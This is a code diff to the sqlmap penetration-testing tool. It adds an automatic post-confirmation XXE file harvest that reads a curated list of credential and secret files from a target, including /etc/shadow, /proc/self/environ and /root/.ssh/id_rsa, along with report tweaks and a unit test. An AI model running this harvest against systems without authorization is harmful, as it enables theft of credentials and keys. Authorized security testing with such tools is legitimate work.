diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index a2ee55d01d..98118d6292 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,10 +189,10 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -415708a1c10d98f964bc34ddd8dd597ec0ebb216a6e3f3aad391d9283d499f89 lib/core/settings.py +f8b1a13e3bb6ec50b5021bf04c52795a0d561ae3c95c8a05d1cc1c43faf4382e lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py -15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py +69a68894db04695234369eedac71b5a89efc1b4ce89ef0e61ebbbc1895ff32b2 lib/core/target.py 96d107a31bb9647a9b7c26f10beac528bf4edc6e607c8b776c624d494332c7f8 lib/core/testing.py 95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86 lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py @@ -200,7 +200,7 @@ b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unesc 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -6d2b663807178b4eed0060ed22cde5a94d1b63b7f1ce54e401f709acfd2344c0 lib/parse/cmdline.py +c9d38a60a85691cdb540e33510dd16228d6afcce0fd2ba39780f71b6da57ebb5 lib/parse/cmdline.py 925a068efa1885fa40671414a887c088f2aafbe8cb76f01286e6bde3f624dac1 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py @@ -258,7 +258,7 @@ c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xxe/__init__.py -e542cbcb1e2798f2d756d1f79940f61f7cebef661657f8ca1dba83c0696e95eb lib/techniques/xxe/inject.py +b14b8cb398aad9e020e77c337c1b6e7f5e5cc195723a267d2579cd338b75e438 lib/techniques/xxe/inject.py 2403eda0e87835a2b402cbe6927a4d2737c4e87f3d4ef9b75e7685f3d2a9dc1e lib/utils/api.py 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py @@ -670,7 +670,7 @@ b03689c4dcca0e88a62a88784c61418f963c031d338a357dcc223560c8f9bd22 tests/test_use 93ef9944effc62d4f744c57bd643137c90fd92205c6a6cbe891e0e99efb80a7f tests/test_wafbypass.py 81bb6d7449f224fa337734ae361c1a340bf9a51768a854d6a1a6e718ed1263ca tests/test_wordlist.py 9d6dd551b751ab38200ab190c744ec0a9afa798b37f83b0078a4325ab3f80aec tests/test_xpath.py -b01acaa558b4f3e87957fe2d9a59d48878a7ed26660d5676ca34ecaaa1efd2b7 tests/test_xxe.py +db002e350cded0b92327ae546d99c05c60bb7a767e56681993894f62b1248613 tests/test_xxe.py 55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py f597b49ef445bfbfb8f98d1f1a08dcfe4810de5769c0abfab7cdce4eebbfcae7 thirdparty/beautifulsoup/beautifulsoup.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 33ef2afb92..889e36e597 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.27" +VERSION = "1.10.7.29" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -1121,6 +1121,32 @@ ("file:///c:/windows/win.ini", r"(?i)\[(?:fonts|extensions|mci extensions|files)\]"), ) +# Once an in-band XXE file-read primitive is CONFIRMED, sqlmap proactively harvests +# this curated set of high-value, fixed-path files (host identity, process env/ +# secrets, key material) - the XXE analogue of the automatic dumping the other +# non-SQL engines perform. Kept small and high-signal (each entry costs 1-2 requests); +# best-effort, so unreadable/absent files are silently skipped. Unlike XXE_IMPACT_FILES +# (a benign PRE-confirmation impact probe that avoids WAF-honeypot paths) this runs +# only AFTER confirmation, so sensitive paths are appropriate. Skipped when the user +# gave an explicit '--file-read' (that targeted request is honoured verbatim instead). +XXE_FILE_HARVEST = ( + "/etc/passwd", + "/etc/hostname", + "/etc/hosts", + "/etc/os-release", + "/etc/shadow", + "/etc/group", + "/proc/self/environ", + "/proc/self/cmdline", + "/proc/self/status", + "/proc/version", + "/root/.bash_history", + "/root/.ssh/id_rsa", + "c:/windows/win.ini", + "c:/windows/system32/drivers/etc/hosts", + "c:/inetpub/wwwroot/web.config", +) + # GoSecure dtd-finder local-DTD repurposing table for no-egress error-based XXE: # an on-disk DTD is loaded, one of its parameter entities is redefined to smuggle # an error/exfil primitive, so no outbound network is needed. (path, entity_name). diff --git a/lib/core/target.py b/lib/core/target.py index a74955b717..0aff961612 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -618,7 +618,7 @@ def _createFilesDir(): Create the file directory. """ - if not any((conf.fileRead, conf.commonFiles)): + if not any((conf.fileRead, conf.commonFiles, conf.xxe)): return # Note: normalize the hostname consistently with conf.outputPath / conf.dumpPath (see _createDumpDir) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index d70b1001d1..3bfe55d59d 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -794,7 +794,7 @@ def cmdLineParser(argv=None): help="Test for XML External Entity (XXE) injection") nonsql.add_argument("--oob-server", dest="oobServer", - help="Out-of-band server for blind '--xxe' (default: public interactsh; 'none' to disable OOB)") + help="Out-of-band server for blind '--xxe'") nonsql.add_argument("--oob-token", dest="oobToken", help="Authentication token for a self-hosted '--oob-server'") diff --git a/lib/techniques/xxe/inject.py b/lib/techniques/xxe/inject.py index f6d7432cb9..2de1ee4fcb 100644 --- a/lib/techniques/xxe/inject.py +++ b/lib/techniques/xxe/inject.py @@ -26,6 +26,7 @@ from lib.core.settings import ASTERISK_MARKER from lib.core.settings import XXE_BLACKHOLE_HOST from lib.core.settings import XXE_ERROR_SIGNATURES +from lib.core.settings import XXE_FILE_HARVEST from lib.core.settings import XXE_HARDENED_REGEX from lib.core.settings import XXE_IMPACT_FILES from lib.core.settings import OOB_POLL_ATTEMPTS @@ -229,21 +230,50 @@ def _echoed(page): def _report(title, payload): if conf.beep: beep() - place = "%s XML body" % (conf.method or HTTPMETHOD.POST) - conf.dumper.singleString("---\nParameter: %s\n Type: XXE injection\n Title: %s\n Payload: %s\n---" % (place, title, payload)) + place = conf.method or HTTPMETHOD.POST + conf.dumper.singleString("---\nParameter: XML body (%s)\n Type: XXE injection\n Title: %s\n Payload: %s\n---" % (place, title, payload)) -def _dumpFileRead(remoteFile, content): +def _saveFileRead(remoteFile, content): """Save an XXE-read file to the output directory (parity with '--file-read') and - list it; fall back to a console dump if the file cannot be written.""" + return its local path, or None if it could not be written.""" try: - localPath = dataToOutFile(remoteFile, getBytes(content)) - if localPath: - conf.dumper.rFile([localPath]) - return + return dataToOutFile(remoteFile, getBytes(content)) except Exception as ex: logger.debug("could not save XXE-read file to disk: %s" % getUnicode(ex)) - conf.dumper.singleString("XXE file read ('%s'):\n%s" % (remoteFile, content)) + return None + + +def _dumpFileRead(remoteFile, content): + """Save a single XXE-read file and list it; fall back to a console dump if the + file cannot be written.""" + localPath = _saveFileRead(remoteFile, content) + if localPath: + conf.dumper.rFile([localPath]) + else: + conf.dumper.singleString("XXE file read ('%s'):\n%s" % (remoteFile, content)) + + +def _harvestFiles(xml, rootName): + """Proactive, best-effort file harvest run once an in-band XXE read primitive is + confirmed: pull a curated set of high-value fixed-path files (host identity, + process env/secrets, key material) the way the other non-SQL engines auto-dump + their reachable data. Returns a list of (path, content, payload) for every file + that read back non-empty; unreadable/absent files are silently skipped. Content is + de-duplicated so a parser that resolves every missing path to the same stub cannot + masquerade as many distinct reads.""" + + harvested = [] + seen = set() + for path in XXE_FILE_HARVEST: + content, payload = _tryInbandFileRead(xml, rootName, path) + if content and content.strip(): + key = content.strip() + if key in seen: + continue + seen.add(key) + harvested.append((path, content, payload)) + return harvested def _tryInternal(xml, rootName, baseline): @@ -280,7 +310,7 @@ def _tryInbandFileRead(xml, rootName, fileName): entity between two random markers so the exact file content can be sliced out of the response regardless of surrounding template. Raw file:// works for text files; php://filter base64 (PHP) carries files with XML-special bytes. Returns - the file content or None.""" + (content, payload) or (None, None).""" from lib.core.convert import decodeBase64 @@ -303,13 +333,13 @@ def _tryInbandFileRead(xml, rootName, fileName): except Exception: continue if data and data.strip(): - return data - return None + return data, payload + return None, None def _tryExternalFile(xml, rootName, baseline): """Impact demonstration once XXE is live: read a benign host-identity file via - an external general entity. Returns (systemId, snippet) on a confirmed read.""" + an external general entity. Returns (systemId, payload) on a confirmed read.""" for systemId, pattern in XXE_IMPACT_FILES: ent = randomStr(length=8, lowercase=True) @@ -317,7 +347,7 @@ def _tryExternalFile(xml, rootName, baseline): payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent) snippet = _confirmRead(_send(payload), pattern, baseline) if snippet: - return systemId, snippet + return systemId, payload return None, None @@ -639,8 +669,9 @@ def xxeScan(): _OOB_CONSENT = None debugMsg = "'--xxe' is self-contained: it detects XML External Entity injection " - debugMsg += "in the request body and demonstrates file-read impact. SQL enumeration " - debugMsg += "switches (--banner, --dbs, --tables, --dump) are ignored" + debugMsg += "in the request body and, once confirmed, automatically harvests high-value " + debugMsg += "host files (or reads '--file-read' when given). SQL enumeration switches " + debugMsg += "(--banner, --dbs, --tables, --dump) are ignored" logger.debug(debugMsg) xml = _cleanBody() @@ -661,31 +692,59 @@ def xxeScan(): # T2: in-band reflected DTD/internal-entity expansion. This proves the parser # processes entities but is NOT yet file-read impact, so it deliberately does NOT - # set `found` - the in-band read (or, if that fails, the error/XInclude tiers) still - # run to try to upgrade a mere "expansion confirmed" into actual file-read impact. + # set `found` on its own - we first try to UPGRADE it to real file-read impact and + # then emit a SINGLE report block with the strongest confirmed vector and its real + # payload (one report per finding, as with the other non-SQL engines). The internal + # expansion is only reported on its own when no external-entity read is reachable. payload, page = _tryInternal(xml, rootName, baseline) if payload: expansionSeen = True logger.info("the XML body processes DTD/internal entities (in-band reflection confirmed)") - _report("In-band DTD/internal entity expansion", payload) if conf.get("fileRead"): - content = _tryInbandFileRead(xml, rootName, conf.fileRead) + content, readPayload = _tryInbandFileRead(xml, rootName, conf.fileRead) if content: found = True logger.info("in-band XXE file-read impact confirmed for '%s'" % conf.fileRead) - _report("In-band file read ('%s')" % conf.fileRead, "" % conf.fileRead) + _report("In-band file read ('%s')" % conf.fileRead, readPayload) _dumpFileRead(conf.fileRead, content) else: - # benign, in-band impact demonstration (data stays in the response, no third party) - systemId, snippet = _tryExternalFile(xml, rootName, baseline) - if not systemId: - snippet = _tryPhpFilter(xml, rootName, baseline) - systemId = "php://filter" if snippet else None - if systemId: + # No targeted '--file-read': proactively harvest a curated set of high-value + # files (data stays in the response, no third party) - the XXE analogue of + # the automatic dumping the other non-SQL engines do once confirmed. + harvested = _harvestFiles(xml, rootName) + if harvested: found = True - logger.info("in-band XXE file-read impact confirmed (external entity, e.g. '%s')" % systemId) - _report("In-band file-read impact (external entity '%s')" % systemId, "") + firstPath, _, firstPayload = harvested[0] + logger.info("in-band XXE file-read impact confirmed; harvested %d high-value file(s)" % len(harvested)) + _report("In-band file read (auto-harvest, e.g. '%s')" % firstPath, firstPayload) + saved = [] + for path, content, _ in harvested: + logger.info("read remote file '%s' (%d bytes)" % (path, len(content))) + localPath = _saveFileRead(path, content) + if localPath: + saved.append(localPath) + else: + conf.dumper.singleString("XXE file read ('%s'):\n%s" % (path, content)) + if saved: + conf.dumper.rFile(saved) + else: + # Harvest read nothing (content relocated in the response, or only benign + # host-identity is exposed): fall back to the pattern-based impact proof + # so file-read impact is still confirmed. + systemId, readPayload = _tryExternalFile(xml, rootName, baseline) + if not systemId: + readPayload = _tryPhpFilter(xml, rootName, baseline) + systemId = "php://filter" if readPayload else None + if systemId: + found = True + logger.info("in-band XXE file-read impact confirmed (external entity, e.g. '%s')" % systemId) + _report("In-band file-read impact (external entity '%s')" % systemId, readPayload) + + if not found: + # external entities are disabled (only internal expansion is reachable): + # report that weaker-but-real finding with its actual payload + _report("In-band DTD/internal entity expansion", payload) # T3: error-based (works where entities are not reflected but errors leak). A # redundant detection channel once in-band reflection was already seen, so it is diff --git a/tests/test_xxe.py b/tests/test_xxe.py index 8c46873c87..736f8ece04 100644 --- a/tests/test_xxe.py +++ b/tests/test_xxe.py @@ -239,7 +239,35 @@ def singleString(self, data, content_type=None): xxe._report("Title", "Payload") finally: conf.dumper, conf.method, conf.beep = old_dumper, old_method, old_beep - self.assertIn("PUT XML body", captured[0]) + self.assertIn("Parameter: XML body (PUT)", captured[0]) + + +class TestHarvestFiles(unittest.TestCase): + def test_harvest_collects_dedups_and_skips_empty(self): + # simulate a target that returns real content for two files, an empty read for + # one (skipped), and an identical stub for the rest (deduped to a single entry) + def _fake(xml, rootName, path): + if path == "/etc/passwd": + return "root:x:0:0:root:/root:/bin/sh\n", "PAYLOAD-passwd" + if path == "/etc/hostname": + return "host01\n", "PAYLOAD-hostname" + if path == "/etc/hosts": + return " ", "PAYLOAD-empty" # whitespace-only -> skipped + return "same stub", "PAYLOAD-stub" # identical for every other path -> deduped + + old = xxe._tryInbandFileRead + xxe._tryInbandFileRead = _fake + try: + harvested = xxe._harvestFiles("x", "user") + finally: + xxe._tryInbandFileRead = old + + paths = [p for p, _, _ in harvested] + self.assertIn("/etc/passwd", paths) + self.assertIn("/etc/hostname", paths) + self.assertNotIn("/etc/hosts", paths) # empty read skipped + self.assertEqual(paths.count("/etc/passwd"), 1) + self.assertEqual(sum(1 for c in (c for _, c, _ in harvested) if c == "same stub"), 1) # stub deduped class TestOobBase64Capture(unittest.TestCase):